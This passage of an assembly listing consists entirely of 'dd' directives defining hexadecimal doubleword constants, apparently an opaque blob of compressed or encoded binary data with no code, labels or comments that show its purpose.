		dd 0CEE14E8Ah, 0DE59608Eh, 0FAB1FB0Eh, 0A6FEA389h, 4D400058h
		dd 489605A8h, 0A77B537Eh, 0F7CE1100h, 75EE663Ch, 0D40700B9h
		dd 0FCB4D1DCh, 400E205Ch, 3D5BD7h, 7D9719CFh, 9E631D66h
		dd 3C368046h, 0D358E23Ah, 514EEA03h, 0C085CE6Ch, 0DE53D7h
		dd 0AFD56E42h, 0B7433ABEh, 8B5FAB00h, 66F7913Eh, 96BF0074h
		dd 0B85DE12Dh, 0BB0FF4D5h
		dd 41E553D9h, 0F05CE05Eh, 16791083h, 0CBA01C38h, 0E7007066h
		dd 40FDF1CCh, 0FBC61E8h, 64214174h, 0E6C64E80h,	0BF00E198h
		dd 2BF9FBB5h, 0F1754Fh,	0B9EF56DDh, 825F88DBh, 633B1102h
		dd 80CF73h, 0B305F4FEh,	5025043Dh, 9A3DD6D0h, 4A7A33A5h
		dd 0A23960DEh, 95E4DC2Fh, 473890Fh, 8F809D5Ch, 7D210A23h
		dd 6FE8002Bh, 0DEA1781Fh, 9605D779h, 43AC3212h,	9868E083h
		dd 0E4F0C85h, 0A542B4D0h, 0E2F247A0h, 0CD0E4E4Ch, 80DA1B67h
		dd 0FD8CC6B9h, 26E67D66h, 944501h, 15246F0Ah, 8500392Fh
		dd 71EB3C59h, 43BF92h, 0E9B86A07h, 93CF9981h, 0B7E01B0Eh
		dd 0BC9DC0FAh, 11340h, 0D4331AA2h, 0CC1C0B3Eh, 7667831Dh
		dd 7CC3B4C0h, 456823h, 0B13BE528h, 48183C44h, 6EB23Ah
		dd 0AD78B905h, 1DDB5A9Ch, 405BB004h, 0B3386F41h, 1400D7DFh
		dd 13647C93h, 38FFF337h, 8D30A712h, 0C1E283D0h,	3705F6Fh
		dd 0EF5B613Ah, 36BD533h, 4F178720h, 2A98E715h, 8900B9A0h
		dd 0D2DFA5A8h, 6686241h, 0FAD1F0D0h, 160E3061h,	5CE16D79h
		dd 0CF753000h, 297BB4h,	368DD415h, 170680BAh, 56D51600h
		dd 82545ACAh, 3D4E02Fh,	0ED83D920h, 903DCBE5h, 15BB1DE4h
		dd 3D697041h, 0E3F88D24h, 3A2EC49Dh, 8839C381h,	10E2C6F8h
		dd 3E796200h, 212E1DB8h, 327FE87h, 9D2A8ED5h, 3398AB20h
		dd 0E8005356h, 865E72Fh, 89E2C9h, 0A5ECE58Ch, 1630029Dh
		dd 9291EE2h, 4C612084h,	910C31D7h, 0CDFA700h, 0E5A555E0h
		dd 12B9E26Ah, 9DAD5Fh, 367CC194h, 570CA6D1h, 48888642h
		dd 0F9F8FC4Eh, 0C596F701h, 4C32F0BFh, 45BB1700h, 5077F92h
		dd 4A43603Eh, 0D4FEC724h, 0C1507801h, 0F3045CEEh, 292C8D3h
		dd 99F8ABh, 9F987D9Dh, 1762E03Fh, 0E209A600h, 0D4038768h
		dd 2893F2A4h, 0FA4F49Ah, 5C4E44Dh, 2C00188Eh, 0DD661C39h
		dd 813C0C3Dh, 2A91E5A6h, 58814169h, 16C6A2AFh, 5713E0D8h
		dd 0B8E5FF30h, 4936DDBh, 8658DABEh, 9AA2873Fh, 0FD72E080h
		dd 0BC464A57h, 979A6CC0h, 0F0C002B4h, 90EF066Eh, 0D8570CA7h
		dd 1090FEA4h, 7B66A100h, 24437478h, 73E70196h, 0B3D5CBD3h
		dd 0D6B8FC5Bh, 7D19BF00h, 0CEF7C8D4h, 859D2805h, 0ABF40087h
		dd 7880426Ch, 13008898h, 0D404FD1Bh, 29E0105Fh,	0C020BCCBh
		dd 0AAECFE0Fh, 2EF02E84h, 8A6002F9h, 80409638h,	0FE09DBD2h
		dd 8010F84Fh, 0CF1A53D9h, 0AA6FEC9h, 50261C2Fh,	19EC05C4h
		dd 8EC80084h, 0A6E2CA11h, 0A26AF500h, 680476DAh, 0AD21C720h
		dd 67B8F0A3h, 0A73059E0h, 0B3181924h, 1BE8EAh, 92CBF466h
		dd 17CD236Ah, 510376F0h, 0A1EEC943h, 0D48800BEh, 0D12EE3F5h
		dd 32003F34h, 678EC7A0h, 0D8DECEh, 9D841537h, 0A2465E43h
		dd 0A70C3400h, 71671335h, 889850BEh, 0EE520066h, 0E07579CBh
		dd 0F50025B4h, 0FCA429C9h, 0B2108Bh, 60AA5CFBh,	0A9BDC393h
		dd 7A2AF21Dh, 6D68F4C0h, 1FB97D6Ch, 0C66A50AAh,	58F12641h
		dd 8E261190h, 0D5002E93h, 39C81EDh, 0DF7E030Ah,	21E49DCCh
		dd 0D948BF8h, 0D1589975h, 1E2C00F7h, 1DC5F2B3h,	92AD0F21h
		dd 4B49EB18h, 0ECE08C00h, 490EDA7Bh, 1849FBBh, 0BCD0DCF7h
		dd 93A41F0h, 4373C0F8h,	62657820h, 9F1D9B2Bh, 99C0213Bh
		dd 157E4DAAh, 7AC302F0h, 0FD3668A9h, 0EB1BA481h, 411AC1D3h
		dd 507FA1ACh, 32FF86B0h, 60FEBD00h, 0CB2A06A5h,	269A00FCh
		dd 0F66165B2h, 0AE304740h, 0E07A3176h, 0F3D200E1h, 2E4F4E46h
		dd 88A0CC36h, 2A00733Bh, 90B93AACh, 75FC9C4Ch, 0CD81006Eh
		dd 3909B40Eh, 3B007CE7h, 0EB87FF67h, 3BFD249h, 69D4EFF2h
		dd 0E7F8AA95h, 0BE0215C5h, 0D73552E3h, 0CEFF817Eh, 0E5C4FD3Fh
		dd 0C6E60E9Fh, 0F486602Ch, 0EEA120D6h, 0B418DC41h, 8C2FA40Eh
		dd 0AF684033h, 0E058DB42h, 914F003Eh, 2AD541F4h, 7818675Eh
		dd 8E405CEFh, 7C7F00AAh, 3CE3698Bh, 0FB0CF4CDh,	802DB33Dh
		dd 94B71D8Dh, 0EA39812Fh, 0E8990B6Eh, 4220FF23h, 276400D2h
		dd 0C055B51h, 95033FBFh, 0FCC87DB7h, 912EB873h,	0E8163E99h
		dd 0BD2F580h, 5B4B52E5h, 87836E0h, 18B1D939h, 0FEF12FAEh
		dd 0F5530016h, 38F70C02h, 0DC0027B6h, 8CF864AEh, 0F07593BAh
		dd 6B3B1F3Eh, 469828D8h, 42AC0095h, 0B375FDF4h,	3C74743h
		dd 6CBF254Ch, 144EE821h, 429A00C4h, 0F99CBBEAh,	56281FC3h
		dd 36789CB1h, 91182E00h, 0C047C7Dh, 16850083h, 0DF098140h
		dd 7B0EACAAh, 207351B3h, 17310530h, 6B2F0E5Ah, 0A020AE09h
		dd 0FCB5E60Fh, 77013Ah,	0B12C3641h, 84CB05h, 7F4732A3h
		dd 501EB31Bh, 70ADF00h,	88766CA5h, 4782CB33h, 2905CE00h
		dd 5D06A07Ch, 68C02E48h, 408F4BCh, 0AA737F5Eh, 0B85CC08Dh
		dd 77982F38h, 0C25DA60Fh, 64C12081h, 743AA36Bh,	0F5480043h
		dd 0CFDB5697h, 2800C211h, 0C7F26EBFh, 425E80h, 0F54C5032h
		dd 3F0488E7h, 0C4AF4B00h, 0D5FE27ABh, 37A00C0h,	595A8980h
		dd 563AB899h, 30C800E5h, 14F6C462h, 8445007Ah, 471E9B09h
		dd 67008C7Dh, 12C3ADAEh, 56029336h, 68C10413h, 0CC2B7007h
		dd 5A06AEF7h, 0F8722D86h, 47DD0720h, 0B091FC0Eh, 34982E67h
		dd 97ED6800h, 47A7BA2h,	0B23E0096h, 0FA03BE13h,	59CB2730h
		dd 0C0FE9Ch, 0F29792A4h, 0A8009870h, 0DC36C77h,	85C54Ch
		dd 1A4E27B1h, 18D12A8Dh, 0CA00BB78h, 306E2E1h, 81613h
		dd 79EEE78Ch, 2E6D677Bh, 0D93E0A01h, 31658A63h,	7080F5D1h
		dd 1F48815Dh, 2600BE61h, 0BAB40B18h, 1E8C3145h,	0F0D77CD0h
		dd 48096D99h, 0A63EB701h, 0E3458EA3h, 0A05B60ECh, 18258FEh
		dd 4EEBC8Ah, 80373948h,	84333688h, 0E6687Dh, 0A7C6D90Dh
		dd 0B0DBF1D3h, 31B440E5h, 50014D21h, 0B2B3A975h, 0ECCD25A3h
		dd 0D90CC980h, 583392BEh, 59DE6A03h, 0D8070972h, 0F2DC4B2Ch
		dd 0EB3BFA27h, 0CBD63180h, 0B1945538h, 87AFB007h, 0FB43ECC5h
		dd 0C881A5EFh, 0F4DC32BBh, 4D070FD0h, 446045D6h, 38923BB2h
		dd 0E63DD900h, 404CA490h, 5AE70097h, 0C56C66E5h, 0DC0655F0h
		dd 44AF3F70h, 24E0C110h, 0CBDE2E29h, 27C003D8h,	18897D38h
		dd 0F090029Fh, 53370848h, 0E660ECF9h, 3F13EBDEh, 11805688h
		dd 30D4090Dh, 8400AB76h, 0B9558AB3h, 9AEFCB2h, 0EC312853h
		dd 0F0CA3C2Fh, 86A3039Ch, 23F8E59Ch, 77011B63h,	6B111862h
		dd 0D840173Eh, 8601C0h,	739CFDAh, 2FA15ADh, 1D7F2158h
		dd 1D80944Ah, 0F6427625h, 79820023h, 0FA6069E0h, 9300F4C3h
		dd 0A1BAC465h, 0F8F212EBh, 4D5C3147h, 2064E738h, 0E000B2D6h
		dd 0DB6C3EF3h, 14D2ABF9h, 0EE4D49D4h, 0D7AF3405h, 0C094479Dh
		dd 4261D090h, 43127BCCh, 94416647h, 0EF6F4077h,	53CC2D8h
		dd 0D3C9379Fh, 0CCE85D2Ch, 2A919429h, 0B7453306h, 0C1AE04h
		dd 7B3AE073h, 423D6030h, 0A8198C16h, 2044320Ch,	0F8AB07CAh
		dd 87EE3F39h, 714B97C6h, 24D0EDA9h, 65249120h, 0A284F8B6h
		dd 0C881B43Ah, 27E0FAFBh, 0B978C6D9h, 67002015h, 0B165B58Fh
		dd 0F0DCD81Ah, 0CD4700D4h, 43DB953Dh, 0F44CA8FBh, 4BC81D04h
		dd 154E415h, 84FA391Fh,	0F30C0188h, 12CD88h, 1D4AB3C6h
		dd 31F5C2C7h, 0FC019B09h, 0D8A4182Fh, 7F1C04E6h, 21C94F6Eh
		dd 0DD00053Ch, 0D00F87Dh, 55824495h, 7F256539h,	11D300D9h
		dd 0DBD5DF29h, 84F2CBA3h, 0E60035E6h, 9802C938h, 0F846474Fh
		dd 3840541Fh, 0FE608D7h, 68CE5679h, 532C0BDCh, 8F8F00DFh
		dd 1C5F11h, 6EA70318h
		dd 0E07DD2DCh, 47EC5B01h, 2A44210h, 1FD4E3E8h, 0BA6F9711h
		dd 0A312F407h, 0B7C03F93h, 1CA12CEBh, 0F7DC4900h, 0C8B9E056h
		dd 0F2D30165h, 749FDE8Bh, 0A3D080C5h, 53D52B0h,	241F867h
		dd 6AF28C94h, 0E490D591h, 0F03BB92Bh, 9D1D10BEh, 708F6A88h
		dd 0BFC034Bh, 0B05BC078h, 74E49Dh, 7532287Eh, 4537FD3Ah
		dd 86C088ADh, 0BC6A98h,	6F4E7587h, 0A34CE122h, 0E0E97324h
		dd 0EFF9F88h, 6CA3D5E5h, 106703DCh, 960053DCh, 0E549095h
		dd 4AFEA29h, 3D0C8BE0h,	0E1C0B4A1h, 31CFF33Ch, 95CF213h
		dd 223741A5h, 0EBBEF880h, 0D89A2840h, 8DC0AD0Bh, 0F80180CAh
		dd 5E15A2h, 9D524A58h, 0D7703AFCh, 691FE502h, 989435F5h
		dd 14B916A0h, 9CDBD337h, 0A322A042h, 0B6FA7300h, 0AB46FFCBh
		dd 0BC666030h, 698A9150h, 0DCA7F202h, 845228D5h, 0F49065A8h
		dd 0FA54902h, 70436B35h, 3177D1C7h, 34E6AB0Ah, 1F20C9Ch
		dd 0F2875884h, 1A115309h, 0D4729C98h, 551780h, 0F0DA8A48h
		dd 420597C2h, 4B229112h, 0B793A805h, 579BF480h,	84BD49D9h
		dd 501C1300h, 0C6D6892Bh, 0DD482761h, 2306495h,	0D2F637h
		dd 101E92C2h, 0FBA40B9Dh, 94461200h, 0BA15D4D8h, 0A18A01F1h
		dd 0E2DB7804h, 0D0ECF390h, 434A3654h, 0CF715E00h, 72ADAA5Bh
		dd 0B4830C99h, 29E1C36Dh, 0C0542558h, 94534244h, 13E74319h
		dd 98003DD3h, 2636DBACh, 9830067h, 6A1A5732h, 0B900DF5Bh
		dd 6BD6AE9Ah, 0A58CBCh,	0C48FD544h, 58A3014Ch, 391EE900h
		dd 0C9F15E5Ch, 1D3C3C30h, 9F01A9CCh, 9439E3Eh, 8AA02050h
		dd 1044DE22h, 8EB6CC14h, 0BE0AC2FDh, 20004CC3h,	0C20013E6h
		dd 5D77B485h, 9E690Ch, 0EDF5709Dh, 0F4DE1F10h, 0A1646200h
		dd 33EC5C16h, 0A80C484Dh, 3C0C2E96h, 9100C33Eh,	8C1AC05Bh
		dd 7D00ADFAh, 477B570Ah, 2936063h, 41D6FB9Fh, 0ACA1E4AFh
		dd 0D2AAC972h, 6012B8E1h, 13B8FB84h, 15260A00h,	0F7048D46h
		dd 0C7A0A04Ch, 0B31F0187h, 57A52789h, 0E4B2DDCBh, 113F4B88h
		dd 0F029B0D4h, 3CABDF26h, 0E00B4FBh, 0F2ED6CCDh, 0A9EA6B61h
		dd 0D16E2703h, 74FE49E3h, 1E0870C0h, 0C013C2F3h, 306E4623h
		dd 4100A638h, 8B49963Eh, 5512612Ah, 3FD9B8CCh, 883120h
		dd 21D2A474h, 1D523598h, 3C372216h, 0B24A5823h,	3398490Bh
		dd 0EB00AC22h, 5977E3E4h, 0D900B7DEh, 20189524h, 10C54ADFh
		dd 0AC1572B9h, 84F0E84Eh, 10E89FA2h, 0F006CB9h,	0EC2CFEF9h
		dd 1ABB1BCh, 1299C5D3h,	0F8CB90E1h, 577B7D73h, 0A355F514h
		dd 349F2CDBh, 0EAE3E701h, 0A8FC9585h, 3FDB3EF0h, 7226C100h
		dd 9CEC6073h, 1F442E04h, 3AC023D8h, 0D63AAB1h, 61DB937Dh
		dd 0D32C20h, 0E5C8C55h,	0C6314B41h, 20536708h, 56393F00h
		dd 798BEFA2h, 2181001Ah, 0F74D32FCh, 0BD03ABD0h, 85E7B41h
		dd 3980A54Fh, 46AF73h, 587F44D1h, 3C69B925h, 0ADDEF107h
		dd 21D0E9A3h, 1EA78AAh,	1489F70Dh, 0C07F9CEDh, 0FF0F1AC5h
		dd 360041Ch, 0E15A2685h, 20BFEA17h, 491B7080h, 4046FE65h
		dd 33095D01h, 0B02E939Ah, 87FC5191h, 0F00155E0h, 0BE0C5CCCh
		dd 1E32D640h, 3DB1C03h,	66DC6964h, 2AC93800h, 0AF17BDC1h
		dd 0B47348EEh, 6060AA30h, 0D13167FDh, 819DE075h, 6F921D4h
		dd 3B983ADAh, 0A90A405Eh, 0B0950263h, 48B0BB67h, 4294048Ch
		dd 61331842h, 2458E30h,	666C557h, 57A02Ch, 9F897A69h, 16F30712h
		dd 2F4CC0D5h, 843AC360h, 2103E72Fh, 42C4E0CBh, 0B06840EAh
		dd 0B9CF00A6h, 0ED503F2Dh, 83E84A29h, 0EC4E0574h, 7001FACh
		dd 980C2559h, 67015EFFh, 39C0457Eh, 0E080A838h,	9D5AB7ECh
		dd 9E091859h, 20678D3Eh, 96923C24h, 0C5BA1537h,	95013048h
		dd 0DCEC4ECCh, 0F112D808h, 0C8006872h, 0C3875E70h, 1CABDBE2h
		dd 6850A769h, 72640088h, 338484Ch, 0BB009B4Dh, 34AA477Fh
		dd 0C0AD7A61h, 421DEE88h, 6D390910h, 66CA019Bh,	0DA63489Dh
		dd 0E76420h, 0E5F6E686h, 0D7DC98DDh, 0EAB8C00Ch, 0A7C8CFh
		dd 9E67D56Dh, 0ED306312h, 775D6A00h, 5139D846h,	0FCF28D6h
		dd 54E948CAh, 3E29D30Ah, 1F1980A4h, 0B67BC220h,	0B0963B8h
		dd 20AC7D0Ah, 7BB3100h,	0CDEF004Fh, 3D65B66Dh, 520174A7h
		dd 732E6457h, 53FCCE0Bh, 87E03F40h, 84E54F09h, 0AAB6E880h
		dd 0D71D3F4Bh, 0C0401798h, 37AF48D4h, 0F4DD0381h, 361E6916h
		dd 9AE344E0h, 0E5FDBF03h, 0F06170A3h, 0FD5D05AAh, 27ED20h
		dd 1CDDBAE7h, 4EDFAF42h, 0D2B41A09h, 0BC4C0097h, 0AFFC5E8h
		dd 0F4111C78h, 0C0C24704h, 128C171Fh, 84D0CAFh,	0EC0E301Ah
		dd 0F06781D1h, 8B727075h, 0CB032DB6h, 1EDD08CEh, 2119FE9Fh
		dd 0B9048AF2h, 0EE4874E8h, 855C6161h, 8118611h,	181E50E0h
		dd 1D118682h, 0BA089164h, 76BDC758h, 575624A1h,	84306A48h
		dd 42C8688Eh, 2276DB87h, 0F410180Ah, 43651F83h,	0E1261C71h
		dd 3C606D0Ah, 1448A215h, 30246E82h, 1B74791Eh, 0ACA65081h
		dd 5D29009Dh, 48F65B8Fh, 1340A8D9h, 647DBAh, 0EAE6613Fh
		dd 6F7E8984h, 11F52300h, 65F14A8Bh, 0E49B02D2h,	1D394E26h
		dd 7DF9D4A0h, 8E1402B8h, 3EC806D0h, 86FB005Dh, 53F7EE37h
		dd 0D5C801B6h, 85E96018h, 0ED06EC65h, 0EF80C400h, 0DACB0D7h
		dd 73C27453h, 0A0E40305h, 0D5D9D44Fh, 0C7C08FD3h, 620AA6AFh
		dd 4CB7FB40h, 73C4A241h, 3427D983h, 71AFBAC5h, 0E03C2BE2h
		dd 0A3004350h, 0AFA5C72Dh, 6E7374h, 0EC29F54Ch,	0DD7B9561h
		dd 623E55ECh, 5854003Fh, 53E776B1h, 0E20C020Fh,	7ED7BE45h
		dd 1A791CB1h, 130FD107h, 9ACB1698h, 0F8716A24h,	25508517h
		dd 37FFA8C0h, 90EC15BEh, 0CA427359h, 8E2D0914h,	83860014h
		dd 8F6BB9F9h, 2F400028h, 7ADB42Ch, 24006951h, 7313E85Fh
		dd 0A478A020h, 0C1E05Ch, 1308309Bh, 1E24F9E4h, 7CB59E02h
		dd 0C0B1E37Fh, 569F65h,	0D81721BBh, 54CD0BF3h, 0C2D3CC0Fh
		dd 0DA54FDD4h, 0BAF403BCh, 0ACEBA827h, 40763082h, 0AA65D10h
		dd 0ED3F1B9Ah, 999E0114h, 20E710A4h, 90076D8h, 0AD047066h
		dd 52E30B7Fh, 74B05829h, 14432FD4h, 4C9C77F2h, 0EF1E7C00h
		dd 8EEC597Fh, 587D030Fh, 84FCD117h, 9C780CF0h, 4FF4521Eh
		dd 82FD7649h, 68056438h, 7A89CF40h, 0FA1F12D3h,	9C844EF7h
		dd 6DA31AA0h, 0BE00F634h, 744EC977h, 4FB4313h, 603C7E39h
		dd 0F0748855h, 18A08C43h, 6C006E38h, 64A98BF8h,	9557CC5h
		dd 0A7413C78h, 0FEA00C0Fh, 6D394410h, 61909661h, 0B080F351h
		dd 4E34701Ah, 0E3007750h, 71F410BCh, 1AF8F5Eh, 0B1C9670Ch
		dd 4A6294A8h, 7898E6ACh, 900500DBh, 0EE4ED8C6h,	4B495328h
		dd 0B637C294h, 5D44EE3h, 9336C189h, 18447E80h, 78E801C0h
		dd 0CA4128Bh, 334004BDh, 4CBA8h, 82CC854Dh, 0D932D6h, 0C0CB1AE7h
		dd 0EA255453h, 9B90A612h, 5C09E83Ah, 0DC1C4632h, 0F700E3E8h
		dd 0ED395262h, 0B8794D40h, 0FDD80AAEh, 0CF842E6Ah, 0D29C5C0h
		dd 550073F4h, 77792AC9h, 3B4274ECh, 0BA001AFAh,	0D529A2FEh
		dd 0B63D97BCh, 1058021h, 0EB4B569Dh, 0EDB101D9h, 77FB24AAh
		dd 0FD042011h, 7A81531Ch, 49503BC0h, 6FBABED0h,	5BA1606Dh
		dd 42BFDC4Ah, 80604DD0h, 7E26F6BDh, 9209E8B2h, 0C1641507h
		dd 33BB6EDFh, 0C1190008h, 9D92DB04h, 980B9860h,	2B120070h
		dd 0FE8A5859h, 0B312F87Ch, 0C2B30EEh, 1F08BE81h, 9D8B9B7h
		dd 204D35C3h, 1CE9A704h, 0B56E3C3Dh, 0B763D105h, 0C0FC2A98h
		dd 0DEE32EE6h, 6AF8057Eh, 4035E79Eh, 118D27F4h,	1C14E830h
		dd 0B08098DFh, 59505AA8h, 97EC28F8h, 9CE05F69h,	789088E8h
		dd 0BFB338E5h, 31ACBA73h, 4B10D96Dh, 0F04E1011h, 885072FDh
		dd 511AE9Fh, 86020C4Dh,	0F6C83FB3h, 3C683E20h, 0F4FF403Dh
		dd 17D9A805h, 0FC900711h, 2E778D9Ch, 805C8162h,	0E85A0DAEh
		dd 4092F214h, 0A4B0D261h, 0E420BFFBh, 0ED79181Fh, 0D317B892h
		dd 8B9C3Ah, 7F03F829h, 0A8CBB62Bh, 2CC8149Ch, 24A4B72Ah
		dd 0FCA18C00h, 5015940h, 819977FAh, 48F12817h, 78715FE9h
		dd 46E20040h, 60297E85h, 9DC2B809h, 0A170A399h,	2F5A720Fh
		dd 0FB76058Ch, 1579E400h, 24A41774h, 5C8B227h, 4BD5442h
		dd 985C51B0h, 6EFC6490h, 1913CC98h, 0D001A0B6h,	0EF9E8A03h
		dd 4D104C24h, 0D50258BAh, 4F49D845h, 0CB40DC80h, 261DA514h
		dd 61054DEFh, 0CC5C6E70h, 9140F5DCh, 0B8FC1B5Dh, 28E80014h
		dd 49EF7E68h, 0E5006C31h, 0FB598D60h, 0D7DE17h,	3833C4EEh
		dd 0A536D37Eh, 0A3654703h, 0A193DF80h, 20A8FFE4h, 0FC670042h
		dd 10E0852Bh, 0BC07B081h, 5DE959CEh, 605E40C1h,	300C9447h
		dd 9870097h, 3821FFE7h,	5F000BE0h, 0D2038878h, 1C172E47h
		dd 90652BAh, 76864B0Ah,	4A05380Ch, 0D80E9BF9h, 86EA4C00h
		dd 2167A52Bh, 0C340B9A6h, 16276475h, 0AF368CF4h, 4A40D21Fh
		dd 0E8AFFDD3h, 4748C098h, 0C863F897h, 0D4515300h, 0A33DA09Fh
		dd 213730D0h, 2DFB5880h, 5C0288ACh, 37A4F181h, 13E31941h
		dd 0F1A1E0C5h, 461E0381h, 0E6E74C3Bh, 0B1FFBCB8h, 0F3037000h
		dd 2DA863FCh, 9AB030ACh, 0B4931358h, 0DD569501h, 0B51053Eh
		dd 9994088Ch, 39009D20h, 0B01A6CBAh, 0EEB7A216h, 70A30004h
		dd 887BA9F6h, 2F00C05Ah, 2103A0Fh, 7DCFE4h, 8A9F61ACh
		dd 671FA425h, 0CA282700h, 0D10A3D9Bh, 0B0E600D9h, 60ED5BAFh
		dd 0AB002318h, 4609CE91h, 829CC3h, 35BD14ECh, 0F99DA9A7h
		dd 40DFE00h, 0F42E46EEh, 6058E43Ch, 0BB8530D4h,	9E0F452Bh
		dd 478095A4h, 2CC30383h, 0C5C0FF24h, 0F655EF84h, 0ABCB01EEh
		dd 0E9238A97h, 8011BDBAh, 0DA0C0971h, 61D36099h, 3CC048BBh
		dd 0B926C00Fh, 2005202Ah, 0E4940C02h, 0A298D99Bh, 9BC22018h
		dd 0D1580834h, 0CED9F5h, 66E91A55h, 0E8C73AB9h,	0EF822970h
		dd 6248430h, 4A5067D8h,	15C6F145h, 4CF83E11h, 0ACE970D8h
		dd 9DCC1CA0h, 0A7409500h, 8366F86Fh, 380A52AEh,	30F354C5h
		dd 8222A01Ch, 917468ACh, 800014A6h, 60D5D7Eh, 0AE8F02Fh
		dd 0FFB921A6h, 88F7B9Ch, 44E0414Ch, 0A0A2C449h,	0C020683Ch
		dd 0FF860AA4h, 6230EE12h, 189806F4h, 98D15F20h,	8326C918h
		dd 70E313FCh, 60C33828h, 341E4457h, 0CFDF4439h,	2D803599h
		dd 3AE60A8Ah, 260089AFh, 660B4AC4h, 0F9528BFFh,	2F70D8B4h
		dd 9AC53019h, 85CFF148h, 9EF64004h, 81C0060Bh, 781D460Ah
		dd 25E61C49h, 8310325Fh, 919C48B0h, 4980D545h, 0D1102A0h
		dd 98C0E126h, 0F3690B66h, 3F671DA6h, 0B44F14F1h, 5E3E260Eh
		dd 4FB05014h, 2CA4D7C6h, 36B5800Ah, 85BA0E6h, 0D1C29488h
		dd 6611E0C0h, 0E646020Dh, 0A7860A87h, 70C63C40h, 6F14203h
		dd 0C3F36C68h, 46A038EDh, 66E63383h, 6E06BA9h, 0F17840BDh
		dd 0E87D1273h, 5484C12Bh, 0A0AD6F05h, 6EC0A461h, 0C246F880h
		dd 0DDA60BB0h, 9ED08850h, 0A9CEAE40h, 199A9084h, 0F81E60BDh
		dd 0CEB1F414h, 68208F6Ch, 0E0921A5Eh, 0A658E08Ch, 8D08A36Fh
		dd 7C4BB8BAh, 0AA7B062h, 348B833Bh, 7699C6A8h, 4C118874h
		dd 539DD67Eh, 6700233h,	0DE1C23EBh, 1C3B1470h, 34485A39h
		dd 0F0C91200h, 0EE130CA6h, 2160889Bh, 0F6C52217h, 0CA270432h
		dd 8B0D5792h, 675F0618h, 0A29545Eh, 0FA4E3E2Ah,	0B70458A8h
		dd 8B538618h, 6A0A28h, 7E26055Bh, 3C6FA54h, 71807093h
		dd 50B3E413h, 6A271C30h, 60503C4h, 71A52EFCh, 0E043B518h
		dd 3102214Eh, 7B04A27h,	1358B805h, 0FD8400A6h, 0A09BC8EBh
		dd 5482BF5h, 0A486B0B0h, 0C4961CD2h, 0B280C24Fh, 3CB801CCh
		dd 0B575D281h, 364D84Dh, 0E643D987h, 43052C3h, 16F3E4C0h
		dd 649AD91Ch, 384EA02h,	0C0DAFC66h, 0F0856834h,	0B33E1586h
		dd 63C06002h, 0C538CE31h, 0C72098C6h, 20A65038h, 2B20873h
		dd 0D829CFC6h, 0E098006Bh, 70C90F59h, 0DB5B299Bh, 0D11B4034h
		dd 0C6261085h, 1D1E749Eh, 0D7C9D0F0h, 0F818AE43h, 0DB9D1875h
		dd 30405846h, 73F041E3h, 8FB0402Fh, 0A0A5F97Ah,	0B03FDF81h
		dd 0DC404E96h, 0C52066AAh, 2878A5B8h, 3D3FD618h, 284B20DCh
		dd 0A5F48E8Ah, 0BB64819Ch, 85485ECEh, 11A4E090h, 684E8460h
		dd 0C4DB520Fh, 0FFC20271h, 0FA5670E6h, 0FC06DC96h, 4A632474h
		dd 246EFC50h, 587403ACh, 0BC15581Dh, 34B045B2h,	5077506Fh
		dd 0F969F61h, 0E96AF982h, 28B8F12Bh, 0E809464Fh, 0FD9220h
		dd 44E81E0h, 0F83E50C6h, 0DBD738E6h, 10EA861Bh,	0FFE99DA0h
		dd 0B97401F0h, 401D3CAEh, 0D4B5782h, 44F007A3h,	0C89483ABh
		dd 90C2A4A7h, 1BE0414Fh, 2EA6D841h, 0F80B3431h,	2A7A8D00h
		dd 874397B7h, 0CEAF8009h, 48A416F0h, 5C39240Ch,	99E02860h
		dd 2629F045h, 6D61505Ah, 0EBD45C88h, 4CE898FCh,	0C63814E4h
		dd 2C531593h, 1C180974h, 20D1C19Dh, 247082h, 0FAA86FC6h
		dd 0F9518B66h, 7AAA4601h, 991DE6EEh, 0A32C6D0h,	5E260B48h
		dd 2D0A3C80h, 0E0743ED4h, 700A4185h, 70F7ED3Bh,	0B46C2D24h
		dd 80A19A09h, 9DC1BFCh,	62562C06h, 0F8D90FACh, 72F04603h
		dd 82ADA6A8h, 0E086F138h, 0A3376608h, 0B3E60103h, 2260CDEh
		dd 3BC1D3BBh, 7B2C6092h, 0F681948h, 1704F4CFh, 0CE0B0C5Eh
		dd 4F600222h, 0DF14E0B2h, 8470C05Fh, 3FA609D5h,	14202C58h
		dd 0E0ACE7B8h, 28B5A6EBh, 12C48242h, 0D493560h,	0D0D03CB0h
		dd 94A1790Bh, 268860C5h, 0F31CFC1Dh, 9CFBD01h, 78822366h
		dd 0F180ECE6h, 0D39FCC45h, 847A9446h, 0AC401860h, 377D5054h
		dd 67663D00h, 5626FB95h, 0A6EE0B3Eh, 0C4036E3Ah, 46A0189Eh
		dd 90A1450Ch, 2868BA64h, 60E8428h, 82F0E0D1h, 45F97D0Fh
		dd 0EA388E90h, 787EB626h, 2259A014h, 86E30D0h, 90BAC1A6h
		dd 0D12005C0h, 1BF66F6h, 0BD9D06BCh, 0CE8462FFh, 251442F2h
		dd 804040E6h, 486B65E1h, 6694033Bh, 6801EC6h, 0F8789DD6h
		dd 0FA83F603h, 1884DBA6h, 28209468h, 82832557h,	7138401Ah
		dd 0A6ED00BDh, 66EF409Ch, 0D1F1C43Eh, 1D20BEF0h, 0E0241BBFh
		dd 4D205418h, 0C118C478h, 0DE5C819Bh, 0D298416Bh, 5E66F075h
		dd 26EF4506h, 24D02E6Dh, 0FC0C876h, 86813F4Dh, 60F89818h
		dd 78DFBF98h, 833EF94Fh, 0E1EE58CCh, 0B898BBBAh, 7FB909AFh
		dd 134218C0h, 716BC63Dh, 0C40C90EDh, 1F42648h, 0FB8E25E6h
		dd 0D89086D0h, 46FF9208h, 8D0F732h, 6C660129h, 3C26F0D1h
		dd 0A38C5250h, 5968AA62h, 6508413Dh, 0F086688Ah, 444606A0h
		dd 7A281012h, 5226AC9Ch, 101B7061h, 161EC108h, 0A0982094h
		dd 768A460Ah, 131012ACh, 33B80A20h, 444A1F94h, 8089860Ah
		dd 37AAA664h, 8B5D0D7Ch, 86B37CCh, 8CA0E3C4h, 1842632Ch
		dd 869096F0h, 0E0F96887h, 0A0B8B22h, 85B3A2E6h,	80C05E98h
		dd 0C025B7C6h, 0E84BFE18h, 2C902C46h, 0D83C2671h, 5D5119F7h
		dd 0C424AD70h, 84EA5485h, 0F508C5E9h, 679404B7h, 2AB481F4h
		dd 0ABD830BBh, 6001A221h, 91951608h, 484A48h, 0A26DAE0h
		dd 90963846h, 77842418h
		dd 0B930CD0h, 789095D8h, 0C6882614h, 30CB24D8h,	0F5A4609h
		dd 1C9D8428h, 409AB492h, 0F970F030h, 98E5E1E0h,	388D49CCh
